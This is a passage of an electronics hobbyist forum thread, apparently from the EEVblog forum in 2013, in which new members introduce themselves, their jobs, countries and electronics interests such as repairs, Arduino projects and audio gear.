grats on gradu mate! mine gradu is yet coming, 2 in 2 years...so close ;) and, welcome, if my word presses anything, pretty new myself too :D...
Title: Re: New Member, Please introduce yourself
Post by: sophia2013 on June 14, 2013, 05:34:58 am
hello everyone

I'm sophia,a math student  from  USA,Electronics is one of my hobbies.
Title: Re: New Member, Please introduce yourself
Post by: 807 on June 15, 2013, 09:56:51 am
Hi. I've been into electronics as a hobby & job for over 40 years, hence the ancient user name & avatar!  ;)

Joined this forum after watching the excellent review of the ATTEN 858D+ on the EEVblog by Dave Jones.
Title: Re: New Member, Please introduce yourself
Post by: marabut on June 15, 2013, 02:30:48 pm
Hi all,

I'm an electronics hobbyist from Poland. I've found this forum when searching for information about old piece of equipment I've been trying to fix.
Reading some threads helped me much. Maybe one day I will be able return the favor.   
Title: Re: New Member, Please introduce yourself
Post by: Gigawatt on June 16, 2013, 02:32:33 pm
Hi, Crusty old spark from the UK. Like the taredowns, fundermentals, and blowing shit up
Title: Re: New Member, Please introduce yourself
Post by: calmtron on June 16, 2013, 09:09:52 pm
G'day everyone,

Swedish 30-something electronics hobbyist aiming for an EE degree eventually, currently working as a software developer.
Been passionate about electronics since watching the electrician wire up my parents house at age one  :)

Has an apartment filled with waaaay to many components and gear. Loves to tear down and rebuild old equipment.
Title: Re: New Member, Please introduce yourself
Post by: gramlord on June 17, 2013, 12:42:48 pm
Hi everybody,

I'm a long time software guy from Sydney who's recently looked at whats on the other side of the bits and bytes. Black magic. That's what's there. Black magic.

So I started learning this electronics stuff. And it's hard going. It's like a circle of knowledge where you need to go around a couple of times, each time seeing something you didn't notice the other times around.

For a while there I yearned for the safety, security and warmth of a simple bunch'o'bit. Bits are easy to understand. Bits are, or they aren't. Their simplicity is infectious.

But the real world calls. Not by the raising of a simple flag but by the passing of a quiet murmur and the stampede of a heard of buffalo.

Cheers,
Title: Re: New Member, Please introduce yourself
Post by: Aeon on June 17, 2013, 06:30:45 pm
Hello fellow electronic fanatics ;D

I am an Microelectronic Student from Hamburg, Germany. Currently I am doing an internship at a company thats makes digital Cameras for Industrial and surveillance use. In September I am starting my Diploma thesis.

I found the EEVblog when I was searching for a video tutorial for an electronic project I am doing at the Company. After some videos I saw that there is also a Forum.

Title: Re: New Member, Please introduce yourself
Post by: John Coloccia on June 17, 2013, 11:38:01 pm
I'm from Connecticut, in the USA.  I was an engineer for 20 years but a couple of years ago I left to start my own company.  Now I build/repair guitars and guitar related items, including effects pedals.  I hope to release our first commercial pedal in the coming weeks.  I've seen Dave's blog on and off for years, but never knew it was an actual organized thing with a forum and everything else.  I though it was just some random guy on YouTube that liked to drink a lot of coffee and then get mad at all the crappy product design out there....much like myself.

Title: Re: New Member, Please introduce yourself
Post by: brob on June 22, 2013, 05:11:56 am
Just like to say Hi to everyone. Been watching this forum for quite some time but never registered. I am a Journeyman Machinist that is a electrical hobbyist. Going to start apprenticing as an  electrical instrumentation tech or electrician.
Title: Re: New Member, Please introduce yourself
Post by: mmilejski on June 27, 2013, 07:44:55 am
Hi,

I'm from Poland, 20yo, and I study Automatics and Robotics - just finished my second semester ;)
Being interested in amateur electronics I am watching EEVBlog for over a year now so I thought it is time to register on the forum to get some answers, and  maybe contribute too ;)
Title: Re: New Member, Please introduce yourself
Post by: yinli on June 27, 2013, 08:32:07 am
Hello from China. I'm working for Yinli Electronics now which is a small company that produces customized transformers like high frequency high power transformer, switching mode power supply transformer, and High power pulse transformer. My English is not very good but I'm looking forward for more communication and opportunities for studing as well as business.  :)
Title: Re: New Member, Please introduce yourself
Post by: Darkslayer7 on June 29, 2013, 08:33:53 am
Hello everyone. My name is Kristof Art. I'm a Colege student from Hungary. Currently studying linguistic at ELTE BTK in Budapest.
I do not have much experience with Electronics, but I like the Blog, and watch the videos. Gave me lots of tips over the years. :D
Title: Re: New Member, Please introduce yourself
Post by: TheKraken on July 01, 2013, 03:56:06 am
Hey everyone, aspiring hobbyist with an interest in both electrical engineering and computer shtuff. I have a few projects I'm working on that require a lot of knowledge I do not yet have. I've found Eevblog videos on youtube to be -very- informative, and in a way i can understand. I'm from the USA and will be looking for various bit of help on...

how to get high voltage DC from...DC! ( boost converters or dc->ac->dc or really anything that gets me from 1.5v-12v in to 400v-2kv out )
Basic info on parts and how they function!
The good old trusty equations for figuring out what i need where, or what I get from what I got!
Power supplies, and meters/oscilliscopes etc. ! I really need a proper set-up to pursue my projects and any good deals I can find would help immensely!

So Hello to everyone, and when I get working projects together I'll gladly share what I can, at least a video!
Title: Re: New Member, Please introduce yourself
Post by: gierig on July 02, 2013, 06:40:14 pm
Hey folk,

trained in communication electronics technician 15 years ago i forget lots of things... but it still work  ;)
I Playing around with digital, AVR, BT, C, ASM and so on an the moment.

seems a nice place here and of course it "looks it's so Beautifully".... i love the Vidos :-) They are funny and
they help to remember to so much things...:-)


Title: Re: New Member, Please introduce yourself
Post by: bluejonah on July 04, 2013, 12:16:59 am
HI! I'm Joey and I'm from Kentucky. Been a fan of the eevblog for almost a year now and I can't believe I just now registered on the forum. Shame on me! Hope to see y'all around!

 O0
Title: Re: New Member, Please introduce yourself
Post by: M@ on July 04, 2013, 02:19:35 pm
Name matches my screen name. I am currently a software developer writing production automation code/test equipment API's at a base station antenna engineering company in NC. I have two associates in EET/CET and have also worked in the security field as a technician for cellular communication boards and general SMD/SMA/SMT prototyping for roughly 4 years.

Love the environment, writing code, when magic smoke stays put, and hope to be able to contribute something while also learning from many others. Big fan of Dave and Mike from mikeselectronicstuff!
Title: Re: New Member, Please introduce yourself
Post by: George on July 05, 2013, 02:29:52 pm
I'm George, a student from the UK. I like alarm systems, programming, computer vision stuff oh and the Raspberry Pi  :P love taking things apart, mainly battery operated stuff though. Found my way here from the EEVBlog YouTube channel.  :-+
Title: Re: New Member, Please introduce yourself
Post by: Wh1sper on July 10, 2013, 11:05:33 am
Hi, I'm an old man from Germany who has rediscovered the wonderful :bullshit: world of solder smoke.
Special interests are Measurements PIC, Raspberry, Nixie, Motorbike accessory and such alike.

--Bernd
Title: Re: New Member, Please introduce yourself
Post by: adlerweb on July 11, 2013, 09:56:20 am
Add another german viewer. I'm Florian and do work in the IT-area as networking/server guy (but in the end i do also programming and other stuff that "needs to be finished by the way". Since i am lazy and was already taking apart devices as a kid (my father is an electrician) i started attaching my home devices like lights to my PC which finally got me into developing AVR-based boards as a hobby to get my personal "internet of things" working. I started watching EEVBlog years ago (guess something arround #30) but hadn't activly commented or used the forum.
Title: Re: New Member, Please introduce yourself
Post by: NerdCore on July 11, 2013, 01:36:06 pm
HI all,
I'm Nikola K. from Cleveland, Ohio, USA. Been watching the videos for a few years now. Decided to join the forum after leaving a comment on a blog post. Currently I am a student (Computer Science & Electrical Engineering) and work full time in IT. In my spare time (what little I have) I mess with my hackintosh and Arduino.
Title: Re: New Member, Please introduce yourself
Post by: cosmos on July 11, 2013, 01:52:32 pm
I am designing (mostly a wide variety of industrial) electronic systems for a living, getting involved in most issues from top level architecture, via analogue and digital designs and layout to fixing production problems with some programming and FPGA design thrown in. I have been around just long enough to have repaired (as a job) non transistorised TVs, and have tinkered with electronics since I was 12.
Title: Re: New Member, Please introduce yourself
Post by: va3nth on July 12, 2013, 02:37:17 pm
Hello.  Name here is Christopher.  I have been interested and playing with electronics since I was a kid in the early '70's.  I play with micro's of all sorts for fun.  I am a ham radio operator here in Canada and just wanted to say hello and thank Dave for all of the hard work.

I also really enjoy the theory segment on Fridays.  It is amazing that after all these years I seem to have forgotten some of the fundamentals behing WHY I put things together the way I do (op amps for instance) and now am re-thinking some of my designs with inspirition and enlightenment.

Love it.

Christopher
va3nth
Title: Re: New Member, Please introduce yourself
Post by: crt on July 13, 2013, 03:49:14 pm
Hallo
I'm La Ode Torega, from Surabaya, Indonesia
Nice to meet you all  :)
Title: Re: New Member, Please introduce yourself
Post by: jim_griff on July 13, 2013, 07:22:09 pm
Hi everyone.

I was previously registered on the forum, but had to leave back then due to some personal reasons. I'm an Audio Engineer working in England who mixes/masters music for bands and also makes a little bit of music myself. My music isn't so good, but surprisingly some of it has been used on a random Japanese TV station a couple of weeks ago! I hope they don't laugh at the crap music haha.

I was originally interested in RF electronics, but the "RF Voodoo" started making me ill, so I have since started to work with lower frequency energy in the audio spectrum. I hope that one day (before 40) I will be building either analog or digital audio equipment that professionals can use to enhance their audio mixing/mastering. I'm a serious EENoob, but learning rather quickly. The formulas keep me awake at night while I sleep with my calculator and Kindle with datasheets on!

Thanks to Dave for creating the forum and the YouTube videos. I will continue to donate each year to help keep you up and running.

P.S. If anyone has any questions to do with Audio Engineering, Mixing, Mastering, etc, then please don't hesitate to either PM me a question or make a new post and PM the post at the same time. I'll be happy to answer any questions and provide as much information as is needed.
Title: Re: New Member, Please introduce yourself
Post by: Spunky on July 15, 2013, 11:32:39 pm
Hello folks. I'm a designer and engineer of pump systems, working with purpose built pic based products, and also electrical panels and motor controls/protection. So reasonable electronic/programming abilities, good with industrial electrics, excellent with water pumps, and pump system design/troubleshooting. Currently here to develop my ability to make new products.

In a previous life I was an IT technician (and any other electronic stuff people walked in with), and in another previous life I was a QS, which is almost as dull as being an accountant.

From a quiet corner of wales where it's probably raining.
Title: Re: New Member, Please introduce yourself
Post by: Terabyte2007 on July 20, 2013, 04:54:20 pm
Hello,

 I am Eric from Akron, OH. I have an EE from Akron University, Work as a Programmer for AVI-SPL and have been in the electronics field since 1988. For anyone interested, here is my Linkedin Profile. http://www.linkedin.com/profile/view?id=14844644&trk=nav_responsive_tab_profile (http://www.linkedin.com/profile/view?id=14844644&trk=nav_responsive_tab_profile)

I am glad to find this Forum to share my passion for electronics and engineering. I also do tear downs and salvage parts for my projects. I have thousands of parts, ugh!

Anyhow, I love the videos and the website and look forward to chatting with some of you in the future.
Title: Re: New Member, Please introduce yourself
Post by: resistance on July 22, 2013, 08:21:44 am
Hello chaps!

Been a long time lurker here, so I guess time has come to surface out  :blah:

My name is Chris and I live in Athens,Greece.
I catch the electron-microbe quite young, about the age of ten, and I've been a hobbyist ever since.

I am a UNIX/RDBMS admin by profession, currently employed in a small ISP here in Greece.

I guess that's  about it, the rest will come along.

Cheers.
Title: Re: New Member, Please introduce yourself
Post by: shailesh3t on July 22, 2013, 08:49:31 am
Hi am shailesh from Mauritius Island,
always wanted to know how electrical/ electronics/ mechanics systems works so end up in technical side doing instrumentation and control else its nice to have the forum n Jones is a nice teacher, n nice to meet u here Guys
regards
shailesh
Title: Re: New Member, Please introduce yourself
Post by: Sigmoid on July 25, 2013, 02:55:00 pm
Hey,

I'm Daniel, from NYC (originally from Hungary, Eastern Europe). I'm a software engineer, but I've always been interested in hardware, and I think I decided to finally take the plunge and do some projects.

Among other things my main interests are audio, retro computing (like newly designed c64 peripherals), and the junction of the two. :) I'm still in the early stage of re-learning hardware though, and have huge blank areas.
Title: Re: New Member, Please introduce yourself
Post by: Priestblood on July 27, 2013, 03:22:35 pm
Hi everybody
My name is priestblood a.k.a. Wayne and Have viewed  the blog on YouTube for a long time and have been a guest for a while so I thought It would be time to register
Am 40 and live in Wirral merseyside,I have been interested in electronic since early teens and I am a sheet metal worker and married with two grown up daughters .i would say my electronic skills is basic
Fault finding and repairing things from washing machines to tv's ,but am always trying to learn more and big thanks to Dave for the blogg I have watched every video made by Dave on XBMC and will continue
Regards
  Priestblood

(Username I have had since the Medal of Honor spearhead days in the 90's and I've been using the same name for all my online gaming I have played everything from Warcraft to bf3 to world of tanks over the years)
Title: Re: New Member, Please introduce yourself
Post by: Herr R aus B on July 28, 2013, 09:56:46 am
Hello!

I am not that new here, but I just found this thread right now. So - time to introduce myself finally :-) Being a software scientist with emphasis on software developing and project leading I don't have any EE background. Being almost 50 years now I finally understand, what I didnt't get during my mandatory and incredibly boring EE classes back at university during my undergraduate days.

Thanks to the internet, YouTube and guys like Dave, M J Lorton, Mike from Mike's Electric Stuff, the ppl at adafruit and many more I eventually will manage to keep up with what I couldn't keep up with back in the day. Even though I am more into phptography and music in my spare time, I started setting up little circuits, doing arduino stuff (very great entry for software guys!) and finally understand how electrons do what electrons have to do.

Actually I set up an arduino based AIS station supporting www.marinetraffic.com (http://www.marinetraffic.com) with local ship tracking data (http://richrath-online.net), working on a weather station, solarifying my balcony, working on a schmitt trigger inverter oscillator based water level sensor that incorporates a capacitor made of copper tape, some pvc tubing, and an attiny45 as frequency counter and controller of a 433MHz transmitter, and setting up a solar powered balcony watering system - all to be explained in this blog (http://blogs.herrrausb.de/techblog/), once I manage to get my big but moved and write some articles...

So - anyways - thanks to Dave and this community for being extremely helpful :-)

Cheers, regards, whatsoevers

Axel
Title: Re: New Member, Please introduce yourself
Post by: FreeLectron on July 28, 2013, 11:33:49 pm
 :)
Good day!

I'm Pierre from Canada, a long time fan of EEV blog and super Dave the Crazy Aussie from down under. 
Beeing myself an old EE with lot's a trick, I look forward to share some great stuff with my buddies from all over the Poincaré sphere.

Cheers,
Title: Re: New Member, Please introduce yourself
Post by: MrAureliusR on July 30, 2013, 03:12:30 am
Hey, my name is Max, I'm a student of electrical engineering at Algonquin College in Ottawa, Ontario, Canada... or rather, I'll be starting in the next month or so.

@FreeLectron people might get your nickname confused, as there's a very frequent and well-known contributor by the name of 'free_electron' on the forums already. Just letting you know in advance!
Title: Re: New Member, Please introduce yourself
Post by: talvor on July 31, 2013, 11:59:42 pm
Hi all,

I'm Phillip and I live is Sydney.  I actually worked in Baulkham Hills for a while, which I think is pretty close to where Dave's lab is....

Anyway I am a software engineer, been doing it for around 20 years.  I was into electronics at a younger age for a couple of years and then fell out of it (I really didn't understand what I was doing, just brought kits, built them and said cool..)

I am getting back into it after playing with the Arduino which peaked my interest.  Am currently looking to find a good way to learn the theory and put it into practice.  So if someone has any tips, that would be appreciated.

I look forward to being a member of this community.

Cheers -
Phillip

PS. I love TheAmpHour although alot of the stuff discussed goes way over my head, but Chris and Dave are very entertaining.  It makes the train journey to work every day bearable.
Title: Re: New Member, Please introduce yourself
Post by: ben7 on August 01, 2013, 03:37:42 pm
Hello folks!

My name is Benjamin - and I am 16 years old :D

Since around nine years of age I have been interested in electrical engineering stuff. My first ever project was a portable cooling fan made from a battery, switch, and a computer fan :). Since then I have done a lot. I have a workbench of my own, an oscilloscope, and plenty of electronics parts. I am a master at soldering, and 'figuring things out'. I.E. if someone can't figure something out, I usually take a quick look and then determine what it is or what it does ... LOL

I am a member of various other great forums on the web, and I decided I would join this one also.

I have done repairs of things too, including a plasma TV (bad capacitors), an apple power adapter (IMHO, the strain reliefs are crappy), multiple desktop computers (bad capacitors), an old heathkit power amplifier/stereo which belongs to an EE friend of mine (faulty transistor, capacitors in poor condition, and oxidized connectors), a subwoofer (the plastic plug socket broke and shorted out), two chinese radios (one with a failed pushbutton, and the other with burnt out backlight bulbs), my own technics stereo from the 80's (it has its original UK style plug! :D the dialight bulbs were burnt out), a bathroom heater fan unit (got clogged with dust and the thermal fuse blew-I cleaned it out and replaced the fuse and all is good), and a number of other things... :)

I am also a member of the www.badcaps.net/forum (http://www.badcaps.net/forum) forum.

Oh, and I am from NJ, USA.

Cheers,
-Ben
Title: Re: New Member, Please introduce yourself
Post by: The_PCB_Guy on August 02, 2013, 01:17:52 am
Hi ben, did I know you were a member here?

I go by "derstrom8" on a few other forums you're on, assuming you're the same "ben7".

Sounds like you got an early start with electronics. That's great! My first "project" was when I was about 6 years old--I took apart one of my sister's toys to try to figure out why it wasn't working. I don't remember this clearly, but my parents told me the story several times  ;)

Keep up the good work!
Regards,
Matt
Title: Re: New Member, Please introduce yourself
Post by: Stonent on August 02, 2013, 01:49:26 am
Hi all,

I'm Phillip and I live is Sydney.  I actually worked in Baulkham Hills for a while, which I think is pretty close to where Dave's lab is....

Anyway I am a software engineer, been doing it for around 20 years.  I was into electronics at a younger age for a couple of years and then fell out of it (I really didn't understand what I was doing, just brought kits, built them and said cool..)

I am getting back into it after playing with the Arduino which peaked my interest.  Am currently looking to find a good way to learn the theory and put it into practice.  So if someone has any tips, that would be appreciated.

I look forward to being a member of this community.

Cheers -
Phillip

PS. I love TheAmpHour although alot of the stuff discussed goes way over my head, but Chris and Dave are very entertaining.  It makes the train journey to work every day bearable.

Dave had said something about doing monthly meetups with forum members in Sydney, you might get to meet him in person.
Title: Re: New Member, Please introduce yourself
Post by: motocoder on August 02, 2013, 06:34:28 am
Hi all - My name is Matt. I am an EE that graduated Georgia Tech and worked as an EE for a few years before moving into software. I now work at Microsoft (Bing), but am getting back into electronics as a side project. I am also trying to teach my two sons some basic programming and electronics as a fun activity to spend more time with them.

I found this site by accident, but I really like it - especially the videos.
Title: Re: New Member, Please introduce yourself
Post by: echen1024 on August 04, 2013, 03:36:49 am
Hi, I'm Eric, and currently a 9th grade student in High School wanting to study EE. I have watched this blog since 6th grade and supported it since. My dad originally came to the US from China 20 years ago and has a degree in EE and Nuclear Design. I am mainly interested in digital projects and test equipment.
Title: Re: New Member, Please introduce yourself
Post by: Claus H on August 05, 2013, 09:18:55 pm
Hi from old Denmark, land of free, snow, rain and some sunshine :)
Old world tech is my forte, working part time as a designer of audio analog circuits, for a Danish company, part time on my own.. Love Germanium, hate 'FETs, don't do much in µcontroller.
Life is good :)

Looking forward to hanging out here... 
Title: Re: New Member, Please introduce yourself
Post by: open loop on August 05, 2013, 09:30:50 pm
Hi there,

My name is David and I work for an engineering company as a tech support engineer (service) and have been lucky enough to do quite a bit of travel with the job over the past 14 years or so.

First got interested in electronics when I was 8 years old, Tinkered with it until i went to university (in my 20's!) as I had a variety of Jobs one of which was  video production/ filming in the late 80's.

Have built a Nixie clock based on an Arduino and am working on some other projects, I have an idea of building an Orac replica (Google Orac Blakes 7) but that is some time away.

Anyway looking forward to being part of this community.
Title: Re: New Member, Please introduce yourself
Post by: MBisFrenchy on August 06, 2013, 04:24:07 pm
Hi, I am Julian (17) from NY, I am currently a freshman at Baruch, but am still stuck between Computer Information Systems, Computer Engineering and International Business. I am interested in hardware, I have a great time tearing down various electronics.

Since I was about 10 I had a interest in computers and how they were assembled. I eventually started by repairing a DS Lite and from that I kept moving on to newer and more complicated game consoles. I also got into cellphone repair. Eventually I was able to turn it into a little business.

When I always worked on various things from phones to game consoles to PC's I wanted to know the chips which made them up. I then stumbled upon the EEVblog and was hooked. A lot is above my head, but the tear downs are most interesting to me with his repairs.

Because of the EEVblog I just invested in a HAKKO FX888D like Dave suggested. I plan to learn how to solder. I was also looking into getting a ATTEN 858D but unfortuantely it is not available in 110V configurations. The only one is the W.E.P. rebrand which is of lower quality. The safety warning is what is keeping me away unless I find a video for how to check for the defects and how to correct them. 

I work on PS3's mostly and have a great time doing so. I have torn down every PS3 revision from CechA01 (60GB) to the newest Cech-4001, B/C (500GB Super Slim). All nintendo Gameboy Hand helds Original to Micro. If you need PS3 stuff or just want some advice on what to do, feel free to contact me I am happy to help.
Title: Re: New Member, Please introduce yourself
Post by: Herr R aus B on August 13, 2013, 04:52:02 pm
Hi from old Denmark, land of free, snow, rain and some sunshine :)

Det sner i danmark? Hvor præcis? Mjulbergene? :)
Title: Re: New Member, Please introduce yourself
Post by: gslug on August 15, 2013, 03:11:39 am
Hello,

I'm Kevin, from Surrey in the UK. I mess about with electronics as a hobby, usually repairing old synthesisers or building various audio effects. I did a bit of electronics at school and then forgot everything over the following 15 years, before getting back into it after acquiring various faulty synths and having a go at repairing them.

Other hobbies/interests: Photography, electronic music (obviously), architecture, Linux and railways. The latter took over my life as I work as a train driver....
Title: Re: New Member, Please introduce yourself
Post by: rozeh on August 16, 2013, 05:21:37 am
Hi
my first name is Rohalamin! i'm from Iran! ;)
Title: Re: New Member, Please introduce yourself
Post by: superscott319 on August 17, 2013, 03:28:47 am
Hey I'm Scott. I'm just this average guy who works as a junior catalog editor for a department store. I'm known as the geek around the office and fix peoples computers a lot and stuff. Lately I've taken an interest in electronics design after my friend Hector introduced me to the EEVBlog videos, which I think are really cool. I hope to become better at building electronics.
Title: Re: New Member, Please introduce yourself
Post by: sync on August 21, 2013, 01:59:51 pm
Hello

My name is Utz. I am 42 years old and work as unix system administrator.  Since i was a small kid i have been interested in electronics (and computers). I done a lot of repairs, tear downs and just playing around with electronics. In the 80ies i designed, build and programmed small Z80 and 68k computers. In the 90ies i did analog music synthesiser stuff. Then i lost the interest in it. The EEVblog brought it back. Thanks Dave!
Title: Re: New Member, Please introduce yourself
Post by: Andy932 on August 24, 2013, 08:40:17 am
Hi im andy. I live and breath electronics but have only just recently started to get way over my head into it. I live in Mackay and have tryed to learn as much as i can by myself but as i have add and learning problems and dont think i dont learn fast becuse if i can do it hands on then i fly though thing just dont give me paper work lol. I want to learn programing so badly but the help in this town is shit. If u can offer me lessons in programming that would be great.
Title: Re: New Member, Please introduce yourself
Post by: Blaffetuur on August 25, 2013, 09:44:50 am
Hi,

I'm Robin, I'm a 19 y/o student at Thomas More in Belgium.

I make guitar fx pedals and do some arduino projects.


:>
Title: Re: New Member, Please introduce yourself
Post by: Zepnat on August 26, 2013, 10:14:31 am
Hi I'm Andy from the peak district UK. All things electrical and mechanical interest me. Thought it was about time I signed up to this hugely knowledgeable place  :-+
Title: Re: New Member, Please introduce yourself
Post by: tehmeme on August 28, 2013, 11:01:41 am
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Title: Re: New Member, Please introduce yourself
Post by: ChrispNYC on August 28, 2013, 11:57:00 pm
Hello everyone new to this from NYC USA I started with RC cars,trucks, helis ,quadcopters, then I got hurt on the job and was watching you tube and came across Dave taken apart a copy machine and all I had was a soldering gun and I got bitten by the bug I have no schooling I've learn on watching EEVblog and his YouTube and now I have a X-Tronic reflow soldering station a 30volt 5amp Dcs power supply 2 fluke muiti meters bread board and I make custom led light kits for anything. I don't just make the kits I also give a mini lipo battery option I also take everyone that I know that are throwing away anything with aboard I also from one of the YouTube videos I fixed my 1st LG led tv it was the caps any just wanted to say hello and if anyone has a question about anything but planes ill see if I can help I have over 20yrs in the hobby thanx ChrispNYC  :blah:   
Title: Re: New Member, Please introduce yourself
Post by: qpit3a on August 29, 2013, 01:35:52 am
Hi,

I came across the EEVblog youtube channel and have been finding it quite entertaining particularly the tear downs.  I also like the irreverent style. I have been interesting in Electronics for most of my life and mainly done digital work. I made a couple of computers using the 6809, one was a thing I called a graphics terminal (also using the 6845) and the other was a sonar range finder (I still have this).  A funny story about the graphics terminal was that a few years ago when I dismantled it (my own digital stuff was point to point soldered on veroboard) I found that the stack of ram chips (saves board space, was a few inches high) had never been properly soldered and so I found out probably a couple of decades later why I used to get intermittant memory problems...

Recently I have been able to get back into my hobby (partly to see if my youngest child would be interested) and partly because I have a bit more time / money and space.  I have so far updated my old bench top power supply to have 3 outputs and ebay digital displays.  I have also built an amplifier using boards from the Elliot Sound website http://sound.westhost.com/ (http://sound.westhost.com/) and an old receiver I got from the local tip shop, this is not quite finished.

I think that future projects might be test equipment - I have the idea to revamp my power supply with some microprocessor control.


I am a computer science graduate and currently work in automated software testing here in Canberra, ACT. My blog is at http://petercupit.com/blog (http://petercupit.com/blog)

Peter Cupit


Title: Re: New Member, Please introduce yourself
Post by: tszaboo on August 29, 2013, 01:07:03 pm
Hi, I'm Thomas (or equivalent  8) ) from Europe, currently living in Belgium. I'm a design engineer at a instrumentation manufacturer, making industrial/lab grade crap. Dave is an inspiration, I must say. I have an electronics related blog: www.NANDBlog.com (http://www.NANDBlog.com)
Title: Re: New Member, Please introduce yourself
Post by: Blaffetuur on August 29, 2013, 08:31:42 pm
Hi, I'm Thomas (or equivalent  8) ) from Europe, currently living in Belgium. I'm a design engineer at a instrumentation manufacturer, making industrial/lab grade crap. Dave is an inspiration, I must say. I have an electronics related blog: www.NANDBlog.com (http://www.NANDBlog.com)

Nice to see a fellow Belgian  ;D
Title: Re: New Member, Please introduce yourself
Post by: Lechuzon on August 30, 2013, 05:49:51 am
Hi! Glad to join this forum! Hope we'll have a great time and great projects!
Title: Re: New Member, Please introduce yourself
Post by: Alexandre on August 30, 2013, 04:23:17 pm
Hi everyone!
I'm Alex, I'm a 27 yr old electronics design engineer.
So far, I've designed mainly embedded systems for automotive industry.
I'm french but I'm living in Bruxelles and also glad to join you guys!
Title: Re: New Member, Please introduce yourself
Post by: jmcdonald on August 31, 2013, 11:45:41 am
Hi my name is Jonathan I am from Weston, N.S.W. Australia not far from Dave. I'm an Electronics Tech working on new tech for the mining industry while competing my second apprenticeship in Electrical. I am in the process for setting up my own electronics lab at home, its been a slow process (started setting it up 3 years ago). 
I'm married and have 3 girls aged 6, 4 and 1 and they love watching baby Sagen on YouTube.
Title: Re: New Member, Please introduce yourself
Post by: Kjelt on August 31, 2013, 02:49:28 pm
Hi everyone,
I am from the Netherlands, 46 yrs, live together with GF and kid (9 yrs), studied EE in the far past and am working as an embedded software programmer and try to keep up with all the new technologies. Main hobby topics are digital electronics and microcontroller related. Since I myself always like to see the shack of fellow hobbyists, I will share mine with some stuff I collected over the last 25 yrs.
Title: Re: New Member, Please introduce yourself
Post by: Fezder on September 01, 2013, 08:26:58 am
Hey kjelt, that workshop look cool, well at least to my eye. my workshop has simple problem: too small table or then i just don't organize it right :D.
Title: Re: New Member, Please introduce yourself
Post by: Kjelt on September 01, 2013, 02:52:55 pm
Hey kjelt, that workshop look cool, well at least to my eye. my workshop has simple problem: too small table or then i just don't organize it right :D.
Thanks, my experience is that no matter how big the table, it always gets (too) full with stuff/projects.
Title: Re: New Member, Please introduce yourself
Post by: Fezder on September 01, 2013, 03:03:29 pm
Hey kjelt, that workshop look cool, well at least to my eye. my workshop has simple problem: too small table or then i just don't organize it right :D.
Thanks, my experience is that no matter how big the table, it always gets (too) full with stuff/projects.

hey, thats right! same applies to storage, at least like me: dont' throw anything away....not guite literally, but still, i'm guite hamster/scavenger :D.
Title: Re: New Member, Please introduce yourself
Post by: oakkar7 on September 02, 2013, 10:13:11 am
Hi,

After struggling country wide spam issue, I successfully joined to this forum. :D

My name is oakkar7, an engineer who crazy in IT, electronics, microcontroller, linux and open source things,
working as IT professional,
Living in Myanmar (yes a green land, opened its door recently), Asia.

Hello world from Myanmar.

My tinny blog : http://okelectronic.wordpress.com/ (http://okelectronic.wordpress.com/)
Title: Re: New Member, Please introduce yourself
Post by: stiffman on September 07, 2013, 01:05:54 am
Hi everyone,
My name is Matt.
I'm not an engineer or anything, just a low level hobbyist from Canberra Australia.
I've been following Dave's videos for quite a while now, and been lurking on the forums for a little while. I figured I'd join and see if I can participate in any way.

I've been dabbling in electronics since I was a kid, but never really learnt it super in-depth.
I enjoy salvaging bits and pieces from old electronics, which i guess came from when I was a kid. Now I'm all grown up though, I can afford to buy new stuff when i need. lol

Cheers,
Matt
Title: Re: New Member, Please introduce yourself
Post by: EngineeringTech2013 on September 07, 2013, 01:19:09 pm
Hello All,

My name's Mark and work for BAE Systems in Stanmore as a senior electronics Test Technician working on various MOD projects at present including the Apache. Qualified to HNC and a bit of a self confessed  Electronics and computer geek !!
Title: Re: New Member, Please introduce yourself
Post by: Spock on September 07, 2013, 08:52:06 pm
Hi everyone,

I'm watching Dave videos and reading forum from quite long time (more than a year) but util now I was "passive" :)
I have a feeling that I will need some valuable information and share them myself so it's time to introduce myself.

Electronic as my hobby started when I was ~15 years old and it is following me since then.
I'm technical character - finished car engineering school, studied Physics, working as a CATV/DOCSIS specialist and electronics and HAM radio is my hobby :)

Location - Poland.

Regards,
Title: Re: New Member, Please introduce yourself
Post by: SAI_Peregrinus on September 08, 2013, 12:37:23 am
Hello, I'm SAI, a student at the University of Hartford studying Computer Engineering. My focus is on security.

Electronics is both a hobby and a component of my studies. Other hobbies are tying knots (largely "fancy" work eg marlinspike seamanship), making whips, playing music (tin whistle, low whistle, bodhran, great highland bagpipes), watching/keeping birds, and Liechtenauer fencing. Some of these are more applicable to electronics than others, eg I've made an electronic bagpipe chanter/whistle/other instrument with up to 8 holes, but haven't tried decorative knotwork in transformer windings...

I've been watching the eevblog for quite a while now, and figured I should actually make an account on the forums.
Title: Re: New Member, Please introduce yourself
Post by: xrunner on September 08, 2013, 12:52:04 am
Electronics is both a hobby and a component of my studies. ... and Liechtenauer fencing. Some of these are more applicable to electronics than others, ...

Well if there is any way to combine Liechtenauer fencing with electronincs, somebody here will figure it out.  :-//
Title: Re: New Member, Please introduce yourself
Post by: Skaface on September 13, 2013, 03:21:03 am
Hey, I have just joined this forum, im a bench tech at moorabbin airport, vic and I repair aircraft radios and electronics. Its an interesting field as im fault finding radios that are mostly from the late 70's and 80's, so its all dirty old school circuits which can actually be repaired, rather than todays method of swapping complete boards.
One of the biggest problems is hunting down old transistors and IC's which are no longer in production
Title: Re: New Member, Please introduce yourself
Post by: surfinbird72 on September 13, 2013, 06:29:00 am
Hi all, my name is Bart and I am from Belgium. I have a master degree in electronics but specialized as embedded C++ programmer in professional life. However, I'm still 'playing' with electronics as a hobby.
Title: Re: New Member, Please introduce yourself
Post by: WhiteWolf on September 13, 2013, 10:44:37 am
Hi,

My name is Daniel and living in Sweden. Can speak 4 languages: swedish, finnish, english and some german. Finished my study to EE on University of Gefle, right now I'm just waiting to get my exam on paper and searching for a new job. Been looking on Dave's videos for some time now and reading this forum also, but this week I decided to become a member. I thought that I didn't need to be on another forum, when I'm already in so many and I'm good off with the swedish electronics forum but I became a member anyway here :)

Electronics and computers have been my hobby since I was like 8-9 years old back in the middle/late 90's. Been working as a hardware designer and software designer on microcontrollers, I like C but asm is a little pain in the ass sometimes.. But my new interests are EMC/EMI and digital signal processing <- cool stuff but the EMC/EMI is like magic :p

But right now I don't have a own electronics lab cause I moved in to my girlfriends apartment and there is almost no space for it. Hopefully next year we have moved into a bigger apartment or house :)

That's for me now,  great forum by the way!
Title: Re: New Member, Please introduce yourself
Post by: Aurora900 on September 16, 2013, 11:29:54 pm
